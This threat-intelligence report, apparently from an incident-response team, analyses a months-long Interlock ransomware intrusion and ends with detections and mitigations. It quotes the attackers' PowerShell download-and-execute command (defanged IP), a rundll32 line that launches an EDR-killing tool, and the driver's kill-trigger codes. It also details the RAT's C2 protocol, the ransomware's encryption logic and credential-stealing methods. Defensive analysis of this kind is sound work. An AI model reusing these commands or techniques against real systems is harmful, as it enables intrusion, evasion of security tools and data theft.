Interlock Ransomware New Techniques Same Old Tricks

Inside a multi-month Interlock ransomware intrusion and the evolving tradecraft behind it

Affected Platforms: North American Organizations – Education Sector Threat Type: Financially Motivated (Ransomware) Impact: Data Theft and Encryption, Extortion Severity Level: Moderate

The Interlock ransomware group continues to compromise organizations worldwide, with a focus on UK- and US-based organizations, particularly in the education sector. The FortiGuard Incident Response team continues to track the fallout of campaigns related to this group. Unlike other current key ransomware threats, the Interlock group is unique in that it does not operate under the RaaS model. Instead, they appear to be a smaller, dedicated group of operators who develop and operate their own malware to support most of their kill chain. The Interlock ransomware group has demonstrated the ability to adapt its techniques and tooling over time as mitigations evolve.

This blog outlines a recent intrusion involving this group and highlights the importance of organizations conducting regular threat hunting to identify ongoing intrusions. Indicators associated with the early stage of this intrusion directly correlate with those from a campaign reported by the eSentire Threat Response Unit in July this year , and with parts of the Interlock malware ecosystem previously reported by Mandiant . Information from our investigation highlights new indicators that organizations should hunt for as this adversary continues to adapt its tooling.

As part of these adaptations, our analysis identified a novel process-killing tool developed by the group that leverages a zero-day vulnerability in a gaming anti-cheat driver. In this case, the tool was used to attempt to disable the victim’s EDR and AV tools.

The following timeline outlines the broad stages of this intrusion, which are unpacked in greater detail in subsequent sections.

The victim in this investigation was a North American-based education organization. Initial access to the victim’s environment was assessed as originating from a MintLoader infection, based on distinct PowerShell activity on an end user’s laptop on 31 March 2025. The victim user did not have an EDR tool installed at the time of infection. The associated PowerShell command is shown below in Figure 1.

powershell -w h -c "iex $(irm 138[.]199[.]156[.]22:8080/$($z = [datetime] :: UtcNow; $y = ([datetime]( '01/01/' + '1970')); $x = ($z - $y).TotalSeconds; $w = [math]: :Floor($x); $v = $w - ($w % 16); [int64]$v))"\1

Figure 1: PowerShell command associated with initial compromise. Note IP has been defanged.

On execution, this script retrieves and executes a retrieved PowerShell payload from the URL ‘138[.]199.156.22:8080/ ’. The URL structure associated with this script has previously been linked to a TAG-124 driven MintLoader campaign active at the time of this observed activity, and the command structure matches PowerShell scripts observed by Arctic Wolf in relation to other Interlock ransomware intrusions . Interlock ransomware operators have previously leveraged TAG-124 TDS infrastructure to identify and target victims across North America.

After executing the above command, a zip file (download.zip) was created on the victim’s endpoint that contained a legitimate Node.js runtime (node.exe). It was used to execute a malicious JavaScript payload (j1wp4vw8.log, SHA1: 63FD5E0811C0BCC7DF9FC3D712F39F829A8D6FF0). Analysis of the associated process chains and the JavaScript payload aligns with reporting by Mandiant, which appears to track this payload as an early version of CORNFLAKE , and by Quorum, which tracks this payload as NodeSnakeRAT.B . We refer to this malware family as NodeSnakeRAT throughout this article. As part of its operation, this malware writes many of its payloads to disk. The FortiGuard IR team retrieved those payloads listed in Table 1 below. Note that not all payloads executed through this implant produce on-disk artifacts, so this is not a complete view of the operators’ activities, but it does provide some insight into their operations.

216[.]245.184.181 212[.]237.217.182 168[.]119.96.41

suffering-arnold-satisfaction-prior[.] trycloudflare.com

speak-head-somebody-stays[.] trycloudflare.com

mortgage-i-concrete-origins[.]trycloudflare.com

una-idol-ta-missile[.]trycloudflare.com

strain-brighton-focused-kw[.]trycloudflare.com

musicians-implied-less-model[.]trycloudflare.com

37[.]27.216.30 66[.]85.173.36 146[.]70.79.43

nedy-throwing-knock-whats[.]trycloudflare[.]com

oclc-publishing-individual-maps[.]trycloudflare[.]com

time-syncmicrosoft[.]com

microsoft-iplcloud[.]com

sublime-tragedy-counties-sculpture[.]trycloudflare[.]com

champagne-businesses-hand-theta[.]trycloudflare[.]com

settings-win-datamicrosoft[.]org

settings-datamicrosoft[.]org

periodic-priest-games-assessed[.]trycloudflare[.]com

uncertainty-por-bubble-persian[.]trycloudflare[.]com

eventsdatamicrosoft[.]org

dns-teams-windows[.]live

Table 1: Payloads dropped through NodeSnakeRAT implant on patient zero throughout intrusion.

Using the victim’s profile, an autorun entry ‘ChromeUpdater’ was created to establish persistence for NodeSnakeRAT on 31 March 2025. It was later updated to include the newer NodeSnakeRAT payloads.

On April 3, 2025, three days after initial execution of the first NodeSnakeRAT implant ( j1wp4vw8.log SHA1 - 63FD5E0811C0BCC7DF9FC3D712F39F829A8D6FF0 ) on patient zero, a single, brief RDP connection was made from a temporarily assigned IP within the victim’s environment to the main victim file server using a default Administrator account not actively used by the victim’s organization. On April 21, 2025, the adversary leveraged their NodeSnakeRAT access to execute a second JavaScript implant (k4myle3i.dll SHA1 - 6445E5CE51DA03934395ABB5411D3200D12ED7B3), which is an earlier iteration of Interlock RAT also tracked by Mandiant as WINDYTWIST.SEA and eSentire as Interlock Backdoor.

Based on available evidence, the threat actor did not perform any significant activity for several months after the initial infection. The significant activity occurred on September 5, 2025, following the rotation of their infrastructure on September 4, 2025, as shown in Table 1 above. The affected endpoint was an individual user’s laptop that was rarely attached to the victim’s corporate network. FortiGuard IR assessed that it is probably why the adversary was unable to laterally move from this beachhead for several months because the timeframes during which the affected endpoint was connected to the corporate environment did not overlap with the adversary's operating window.

The stage of this intrusion began on September 5, 2025, when the victim’s MDR service detected a similar NodeSnakeRAT infection chain on another application server in the victim’s environment. Given that the affected endpoint is an internal application server, the absence of evidence of MintLoader or other initial access methods, and the use of the same NodeJS and subsequent JavaScript files, this phase was assessed as a continuation of the intrusion. Using this existing access, the adversary delivered another Interlock RAT implant as a .log file (node.log; SHA1: 2D5F88C396553669BD50183644D77AD3C71D72BB) that included new hardcoded infrastructure.

This second Interlock RAT payload is also obfuscated JavaScript. It contains more than 130 constant strings obtained dynamically by calling a string function with a unique ID at runtime. This technique inhibits complete static analysis and limits the effectiveness of some string-based detection mechanisms. In the case of this payload, the function ‘ a0n() ’ is used to retrieve the constant strings by their ID. However, other publicly available samples indicate these function values are not consistent and are likely randomized as part of each build. ‘ const Y = a0n; ’ indicates Y is a reference to the a0n() function. For clarity, code snippets in this section show resolved strings, making the code logic easier to understand. Error! Reference source not found. below demonstrates how the code leverages these dynamic strings.

Upon execution, the payload collects system information from the victim’s device by executing the ‘ systeminfo ’ command through PowerShell. The harvested information includes the current user’s permissions (such as whether they are a user, admin, or system), the domain, computer name, current username, and Windows versions. Figure 3 below shows a sample of the collected information.

After collecting system information, the malware sends it in plaintext to one of the C2 servers, as shown in Figure 4. This payload defines three hardcoded C2 server IPs in the payload, which are ‘157[.]250.195.229’, ‘216[.]219.95.234’ and ‘64[.]190.113.235’. Two of them are obtained through the dynamic string function by their IDs. This is noted because not all C2 IPs can be obtained through static analysis. The server port is hardcoded to 443 for all identified C2 servers.

The first four bytes of this C2 traffic are a magic value (0xDF691155). The subsequent bytes contain the collected information in JSON format. The ‘ iptarget ’ field specifies the C2 server to which the data is sent. This first packet is highlighted in detail because it is not encrypted, providing detection opportunities; subsequent packets are encrypted by the payload’s private encryption function. Each packet consists of two parts: a message header and message data (the command data). The message header is XOR-encrypted with a constant key (0x4D in this payload), and the plain text message header (0x0C in size) has the following layout:

Table 2: Structure and contents of the message header.

While the running implant established a connection with the C2 server, the payload keeps the connection alive by sending a heartbeat packet on a timer (approximately every minute). The command type for such a packet is 0x1 (VOID).

The implant supports multiple command types, each providing additional functionality to support adversaries’ operations. Table 3 below lists all commands provided by this RAT sample. We provide additional information related to the SOCKS5, CONSOLE, and CONSOLE_ONE_COMMAND command types below.

Table 3: Command matrix for Interlock RAT sample observed in this intrusion.

The command type for SOCKS5 proxy is 0x00, the thread id is 0xffff, and the randomly generated key. The following is a plaintext example of a complete SOCKS5 command (message header + message body):

Upon receiving the above sample command, the implant establishes a network connection to the operator-provided IP and port to provide SOCKS5 proxy service (note the IP and port in the above table are sample values). Figure 5 shows the captured SOCKS5 command from our controlled environment.

The command type for CONSOLE is 0x03. It is used to establish a remote interactive shell between the C2 server and the victim’s device. The command packet requires only the message header and ignores any message body data. Below is an example of such a packet:

Once the remote shell is established, the attacker can execute any Windows commands directly through the interactive shell.

Using this command, the attacker can execute Windows commands and receive their results. Below is a plaintext packet example for executing the ‘ dir c:\ ’ command.

Several instances of the Interlock RAT were deployed throughout this intrusion across several hosts. Details of the identified samples are shown in Table 4 below, along with their C2 IP addresses to support hunting efforts.

Table 4: Interlock RAT C2 IPs extracted from identified samples.

Persistence for these later-stage Interlock RAT implants was established using scheduled tasks. The scheduled task names used throughout this intrusion include ‘\Microsoft\Windows\Defrag\ScheduledDefrags’, ‘\Microsoft\Windows\Chkdsk\TempDefrag’, ‘\TimeSyncDrive’, ‘\TimeSyncroDriver’, ‘\TimeSync’, and ‘\TimeSyncro’.

Using their Interlock RAT implants again, the adversary then began performing system discovery and enumeration. This was performed using a PowerShell script (1.ps1) placed on the victim’s domain controller in an accessible named ‘Microsoft’. The script employs numerous forms of static obfuscation. A snippet is shown in Figure 7.

On 13 September 2025, the adversary made a change to the tooling and began installing ScreenConnect. Installation was performed using an MSI file (support.msi), which was likely created with Advanced Installer, based on the signature command structure identified after execution (see Figure 8 below).

This technique was employed across several user workstations and was operated effectively until at least October 9, 2025. Details from the installation identified that the ScreenConnect service was configured to interact with the C2 domain ‘user[.]kangaroosim[.]com’ which resolved to IP 91[.]92.241.179 at the time of infection. FortiGuard threat intelligence indicates that this is a known C2 domain associated with ScreenConnect usage, as shown in Figure 9.

FortiGuard IR assessed that this change in TTPs was likely, because the adversary appeared more comfortable using the GUI to perform subsequent data exfiltration, and the victim's EDR tooling was impeding the adversary’s ability to consistently advance their intrusion. Anomalous use of remote desktop tools, such as ScreenConnect, offers high-confidence detection opportunities and should be a focus for defenders seeking to mitigate ransomware-related threats.

Using this access, the adversary added an allow rule to the victim’s firewall for RDP via netsh.exe, via an interactive PowerShell window. Continuing to use their ScreenConnect access, the adversary was observed extensively browsing for key files across compromised endpoints and victim file servers during September 14 and 15.

On September 15, the adversary interacted with a compromised user workstation via ScreenConnect and used RDP to establish a session with the victim’s primary file server. During this session, the adversary created a copy of the AZcopy executable (win64.exe; SHA1: BE39DBADFC9CFC494F1B7BF3A04E49C336E0FA0D). AZcopy is an open-source command-line utility to support file upload to an Azure storage bucket and was used by the adversary to exfiltrate more than 250GB of data from the victim’s file server. The use of this tooling for data exfiltration aligns with Cisco Talos reporting on Interlock ransomware activity from November 2024 , further demonstrating consistency in its TTPs. This event was the only bulk exfiltration observed throughout this intrusion.

There was a significant gap between when most of the data was exfiltrated from the victim’s network and when the threat actor began deploying ransomware across the victims’ endpoints. What’s also notable these observations is that no additional data exfiltration was observed following the significant AZcopy exfiltration. At this stage, FortiGuard assessed that the ransomware operators had determined that extorting the victim’s data would not provide sufficient incentive for the victim to pay the ransom, so they reverted to encryption to achieve this outcome.

Most other ransomware operators we see typically use the double-extortion method up front, so this approach is anomalous. In this intrusion, there were two different types of ransomware payloads: one to target Windows endpoints that was implemented as a JavaScript file (jar.jar SHA1 - AD77FBDBB2FCBDB440428EED3E76D106E1119FCF), and a second that was used to target the victim’s Nutanix hypervisor implemented as an ELF binary (script SHA1 - F5C6BD4E9686AFB0C4E7C1C1733FEBB4065D514F).

This transfer to ransomware deployment kicked off on 10 October 2025 when the adversary laterally moved to the victim’s Nutanix system via SSH using an existing administrator account. Using their access, the adversary identified logical disks and then transferred an ELF binary (script SHA1 - F5C6BD4E9686AFB0C4E7C1C1733FEBB4065D514F) believed to be a Linux implementation of Interlock ransomware. This binary was executed using the ‘ setsid ’ command to encrypt each identified drive using the commands shown below in Figure 10.

Following this activity, the adversary logged into the victim’s Prism Central server and verified that the logical disks had been encrypted with the ‘.!nt3rlock’ file extension, and that the corresponding ransom note had been placed. A screenshot of the associated ransom note is shown in Figure 11 below.

This initial encryption activity was followed by extensive enumeration of the victim’s Windows environment via RDP and interactive PowerShell. The adversary used several LOLbins in their interactive PowerShell sessions, as shown in Figure 12, to collect and validate credentials, verify connectivity to key servers that would later be targeted by the ransomware, and uninstall/disable defender software, namely FortiClient and FortiEDR.

The final three commands are notable. The third last ‘ appwiz ’ is a shortcut to the program and features a component of Windows control panel that can be used to install and uninstall programs from the victim’s endpoint. In the context of subsequent commands, FortiGuard IR suspected the adversary attempted to identify security software using this functionality. Following this activity, the adversary attempted to execute the following PowerShell command.

Figure 13: PowerShell commands used to execute the EDR bypass tool ‘Hotta Killer’. Note that these have been reformatted for readability.

The series of commands above ultimately executes the ‘polers.dll’ DLL via proxy execution via rundll32.exe and ensures that at least five instances of the process are running before entering a loop of one-second sleeps. This series of commands effectively functions as a watchdog, ensuring that the process is always running. The process results in the following command line arguments:

C:\windows\system32\rundll32.exe .\polers.dll start Forti*

The first attempt at this command failed because the operator was not in the correct directory to access the DLL, hence the cd command and duplicate command executions. Analysis of this DLL (polers.dll, SHA1: 3B9B2D5934F9ED1E3A000A760A6FA90422E8A555) identifies it as a new bring-your-own-vulnerable-driver (BYOVD) process-killer tool.

Upon execution of the Hotta Killer (polers.dll), a separate payload DLL file is extracted and dropped into memory, overriding the current code of polers.dll. This dynamic loading technique is common across the malware samples used by the Interlock operator throughout this intrusion and, as noted earlier, is an effective anti-static analysis technique. The following analysis is based entirely on the dynamically extracted payload DLL, which we refer to as ‘Hotta Killer’.

After dynamic loading, the malware drops a kernel driver from memory into the current directory (‘E:\’ in our testing). The driver file is named ‘UpdateCheckerX64.sys’ with SHA1 - 7556AE58C215B8245A43F764F0676C7A8F0FDD1A. This driver is a signed x64 native system driver and is a renamed version of an anti-cheat driver originally named ‘GameDriverx64.sys’, vulnerable to CVE-2025-61155 .

To install and start the system driver, it calls several native Windows APIs, including OpenSCManagerW() , CreateServiceW() , OpenServiceW() and StartServiceW() .

The CreateServiceW() function is called with the following main parameters

The dwServiceType is set to 1 (SERVICE_KERNEL_DRIVER), indicating it’s a kernel driver. As a result, it does not appear in the system Services but instead in the system registry. Figure 14 shows the newly installed driver with the service name ‘UpdateCheckerX64_1763677393’.

Following installation of the service driver, the payload DLL calls the CommandLineToArgvW() API to obtain the argument ‘Forti*’ provided as command line input, which is subsequently formatted as ‘ Forti*.exe’ . Then, the payload DLL searches among the currently running processes for any process whose name matches the ‘ Forti*.exe ’ pattern using several Windows native APIs, including CreateToolhelp32Snapshot() , Process32NextW() and Process32FirstW() .

After the malware retrieves the PID of a process matching the pattern, it passes the PID to the loaded service driver through a created symbolic link, “\\\\.\\HtAntiCheatDriver”. It then calls the DeviceIoControl() API and places the obtained PID in the inBuffer parameter to attempt to kill the process linked to the provided PID. Figure 15 below depicts the pseudo code in C that outlines key points of this process.

\When the service driver starts, its DriverEntry() , function is called, which creates a ‘device’ and a symbolic link. To achieve this, IoCreateDevice() is called with the DeviceName set to ‘ \\Device\\HtAntiCheatDriver ,’ and IoCreateSymbolicLink() , is called with the SymbolicLinkName set to ‘ \\??\\HtAntiCheatDriver ’. Once this link is established, the payload DLL can communicate with the driver through it. , the driver sets a callback function to the IRP_MJ_DEVICE_CONTROL major function, so that it is invoked automatically when the data is received. The callback function reads the IoControlCode and checks whether the code is 0x222040 (see Figure 16 below). It continues to verify the flag is 0xFA123456. If both checks pass, the function proceeds to read the PID from the input buffer and then calls the native API, ZwTerminateProcess() , to terminate the process.

Although it could be framed as a ‘novel EDR bypass tool’, Hotta Killer is more accurately considered an ‘elevated process killer’ tool that in this case, was used by the Interlock ransomware operator(s) to attempt to evade defenses by targeting Fortinet security software. In this intrusion, the attempts to leverage this tool by using a nested loop didn’t affect the operation of the installed Fortinet software.

Drivers related to anti-cheat software in video games have historically been leveraged by ransomware operators for the same outcome. Organizations should look to incorporate threat intelligence related to new tooling involving Bring Your Own Vulnerable Driver (BYOVD) quickly into their security tooling to minimize the effectiveness of these tools and to create detection opportunities.

Following this attack, the adversary began encrypting victim endpoints using their ransomware. The initial deployment of this ransomware was performed interactively via the adversaries’ ScreenConnect and RDP sessions using PowerShell ISE. FortiGuard IR determined that this initial deployment was performed to validate the deployment commands that would later be incorporated into a PowerShell script to deploy ransomware more widely.

The primary impact for this victim was through a malicious JavaScript file (jar.jar SHA1 - AD77FBDBB2FCBDB440428EED3E76D106E1119FCF) that was used to encrypt files on Windows endpoints across the victim’s environment. Note that the adversary used multiple files with this same name throughout the intrusion and this naming convention has been linked to Interlock ransomware activity . The implemented JavaScript ransomware employs multi-threading to encrypt files on a victim's machine as quickly as possible. There is no command and control (C2) server communication present in the code. The malware operates autonomously using a hardcoded RSA public key, meaning it does not need to a server to begin encryption.

The first function of the script ‘ reme ’, sets up an obfuscated PowerShell command to delete the .jar file upon exit.

This function sets up a ShutdownHook to run when the program terminates. It also decodes and pieces together a PowerShell command ‘ powershell.exe -Command sleep 5 ; rm ' '’. This command waits five seconds and then forcibly removes the malware file, hindering analysis.

The second function in the script ‘ lp ’, recursively finds files within the victim’s endpoint filesystem while using a filter to avoid critical system directories and extensions.

Note that the reference to the ‘ filter ’ variable is used to filter out excluded directories and excluded filetypes.

The function also incorporates dir.listFiles(filter) , which only returns files and directories that pass the filter's criteria. The filter (‘ filter ’) itself is defined to return only the directories not in the EX_D set and files with file extensions that do not match the EX_EXT set, effectively creating a target list while preserving system stability. The corresponding values in these base64 encoded sets are shown below in Table 5.

Table 5: Decoded excluded directories and file extensions from within the Interlock ransomware JavaScript file.

The function is the function that incorporates the two-step hybrid encryption process to the provided files by encrypting the file's unique AES key with the master RSA public key.

The Log.run() method is the main malware method. First it generates a symmetric Logger (AES), then uses the asymmetric privLogger to encrypt the key, appends it, and then encrypts the file. The privLogger code confirms its use of RSA in encrypt-only mode with the hardcoded key.

Within the Log class used to perform the encryption there is intermittent (partial) encryption logic that first encrypts a block of the file and then skips a block to speed up the process on large files.

The while loop shows the pattern. It writes an encrypted block ( hedle.write ) and then immediately jumps the file pointer forward ( hedle.seek ), leaving a large chunk of the original file untouched but inaccessible. The skip amount ( tsk ) also grows, making the process faster on very large files.

The initial ransomware deployment was performed on key file and core application servers, via the adversary’s GUI access. It was observed in these initial cases that the adversary initially dropped the ransomware executable and a legitimate copy of the javaw.exe application into the users AppData roaming directory under directories masquerading as legitimate applications including ‘FortiClient’, ‘VMware’, and ‘Welcome’.

Following this initial ransomware deployment and testing, the adversary employed a custom infostealer malware called ‘move.dll’.

When move.dll executes, it overrides the in-memory code of move.dll with a separate DLL, like the other Interlock malware observed in this intrusion. The following analysis is related to the dynamically extracted payload DLL, which we refer to as custom infostealer.

The malware is designed to remotely collect sensitive data from network connected endpoints. The parameter ‘ -h ’ is used to pass the host/IP of the remote device.

rundll32.exe move.dll start -k key.der -h

The sensitive data is collected from several popular web browsers, as listed in Table 6 below.

Table 6. Browsers targeted by custom infostealer.

Figure 22 below shows the malware preparing to copy the Chrome credential file named ‘Login Data’ into a local file, named ‘zGi0UUlYs0’. It copies these profile files from remote to local one by one and then processes them. The malware retrieves the remote by enumerating the subfolders within ‘ \\ \C$\Users ’. It then copies the target profile data files from the remote device to a locally created file with a random name in the %TEMP% directory. These profile files, which are in SQLite format, contain sensitive browser data.

Once copied, each file is processed to extract the sensitive data using several SQLite-related APIs and the following SQL commands.

Figure 23: SQL Commands

The data retrieved through these queries includes saved credentials, browser history, cookies, and bookmarks, depending on the retrieved artifacts and available data saved on the target endpoint. Once the malware has collected this data from a remote endpoint, it saves it to a local CSV file. The file name follows the format: ‘ . .csv’.

Within the generated CSV, the collected data is split by web browser names and categorized by the data type. As shown in Figure 25 below, this is the data from Firefox collected on a test machine, where ‘cr’ for credentials, ‘co’ for cookies, ‘hi’ for browser history and ‘bo’ for saved bookmarks.

FortiGuard IR assesses that the adversary executed this malware to validate the credentials they would then use for large-scale deployment of their ransomware across the remaining Windows domain. This deployment was achieved through the execution of a batch script ‘W_0.bat’ that was executed through existing ScreenConnect access from a compromised user workstation. This batch script contained a series of hardcoded PsExec commands which used compromised valid domain administrator credentials to execute another version of the 1.ps1 PowerShell script hosted on a , named ‘out’, on the victim’s primary domain controller. An example of one of these commands is shown below in Figure 26.

Figure 26: Example PsExec command within W_0.bat script used to deploy ransomware across victim environment.

The PowerShell script executed another version of the ransomware java file (update.jar) that was also hosted in the ‘out’ on the victim’s primary domain controller.

Following this larger-scale ransomware deployment, the adversary deployed a script that created approximately 5000 new domain user accounts. The names of the accounts aligned with the victim’s naming convention but were randomized. Once these accounts were created, the adversary then used various PowerShell commands to validate that the accounts had been successfully created. The purpose of this activity was not determined, given that the adversaries had already completed the actions to meet their objectives.

This intrusion highlights how the Interlock ransomware group operators continue to adapt their tooling to increase functionality, take advantage of new vulnerabilities, and pivot their TTPs to subvert defender controls. Despite this flexibility in the TTPs they can employ, the continued use of infrastructure already disclosed in open-source threat reporting highlights the importance of:

In this case, there were known indicators within the victim environment that had been disclosed for over four months that could have allowed them to identify initial compromise and remove adversary access before there was an impact on the business. Although organizations are exposed to and must process a significant volume of threat reporting, a threat-centric approach to filtering threat intelligence for threats, and associated indicators, relevant to an organization is essential in the current threat landscape, especially in the context of financially motivated threat groups.

Despite some notable deviations in this intrusion flow compared to intrusions associated with the more common Ransomware-as-a-Service (RaaS) affiliates, the practical recommendations for mitigating intrusions or detecting intrusions continue to align with best practices. The following three recommendations below do not require significant resource investment to implement and offer extremely high ROI in the context of the wider ransomware threat.

Block the execution of known remote access software explicitly where it is not required to meet standard business needs. Where remote access software is required, scope exclusions to allow legitimate use. As with any type of block, create a detection rule to identify any attempted use of remote access software and monitor it as a high priority. This functionality can be implemented through any suitable EDR 1 solution and should be considered essential basic EDR functionality. It may also be implemented through a suitable NGFW 2 .

Intrusion Impact: Force adversaries to operate using less functional, more overt accesses to slow down the intrusion, reduce efficacy, increase the likelihood of detectable behavior by the adversary and their tooling, and increase the effective defender response window.

Block workstation-to-workstation SMB and RDP connections. There is a very limited need to use workstation-to-workstation SMB or RDP, and organizations who have business or administrative processes that require this behavior should develop alternative solutions that align with modern administrative best practices. These blocks can be established using the Windows firewall to block inbound SMB and RDP connections on any endpoints that are not domain controllers, SMB file servers, or hosting SMB shares for core business needs. High-priority alerts should be built around workstation-to-workstation SMB and RDP connection attempts. There are very limited false positives associated with this activity.

Intrusion Impact: Blocks to common lateral movement pathways used for large scale ransomware deployment and lateral movement increases the time to impact, minimizes the breadth of impact, creates detection opportunities, and increases the effective defender response window.

Block outbound PowerShell network connections. There is very limited need for standard users within a corporate network to perform web requests using PowerShell. However, this technique was employed as part of the initial loader that started this campaign and is a common part of other ClickFix 3 and FileFix 4 infections. Blocking all outbound connections associated with PowerShell and PowerShell_ISE and implementing high-priority alerts for this behavior is effective at mitigating these prevalent initial access techniques. Like the recommendation, this change can be easily implemented at a basic level using the Windows firewall.

Intrusion Impact: Denies adversary the ability to use basic PowerShell download cradles to establish an initial foothold in a network, preventing initial access and notification of a current campaign that may be targeting the organization so defenders can identify other potential victims.

C:\Users\ \AppData\Roaming\Welcome\bin\javaw.exe C:\Users\ \AppData\Roaming\FortiClient\java\bin\javaw.exe C:\Users\ \AppData\Roaming\VMware\java\bin\javaw.exe

Interlock ransomware scripts and binaries are detected through the following AV signatures:

Java/Interlock.A1EF!tr

W32/Kryptik.HXUY!tr.ransom

Linux/Filecoder_InterLock.A!tr

W64/GenKryptik.HCFC!tr

W64/GenKryptik.HHER!tr

W32/Kryptik.HXUY!tr.ransom

W64/Filecoder_Rhysida.D!tr (Note that the reference to Rhysida is due to indicator crossover in earlier Interlock samples.)

FortiEDR’s behavioral detections effectively mitigated the early post-exploitation TTPs deployed in this attack, including lateral movement attempts, credential access attempts, persistence through scheduled tasks, initial ransomware deployment, and privilege escalation attempts.

FortiGuard Security Advisory Services offer a range of vendor-agnostic consulting services to assess an organization’s current security posture, help prepare an organization to respond to an incident, and assist with incident response activities when an incident occurs.

If you experience a cybersecurity incident and require assistance, reach out to us . Our team will engage as soon as possible with a free scoping call to assist.

Before the release of this article, FortiGuard provided the IOCs below and details of this intrusion to relevant law enforcement agencies, coordinating with ongoing operations.

IOCs associated with this intrusion are provided below and are also available here to assist with ingestion into automated tooling:

/usr/tmp/script (create path) /usr/bin/script (execution path)

C:\Users\\AppData\Roaming\node-v22.11.0-win-x64\05x3aay1.log

1 2 3 4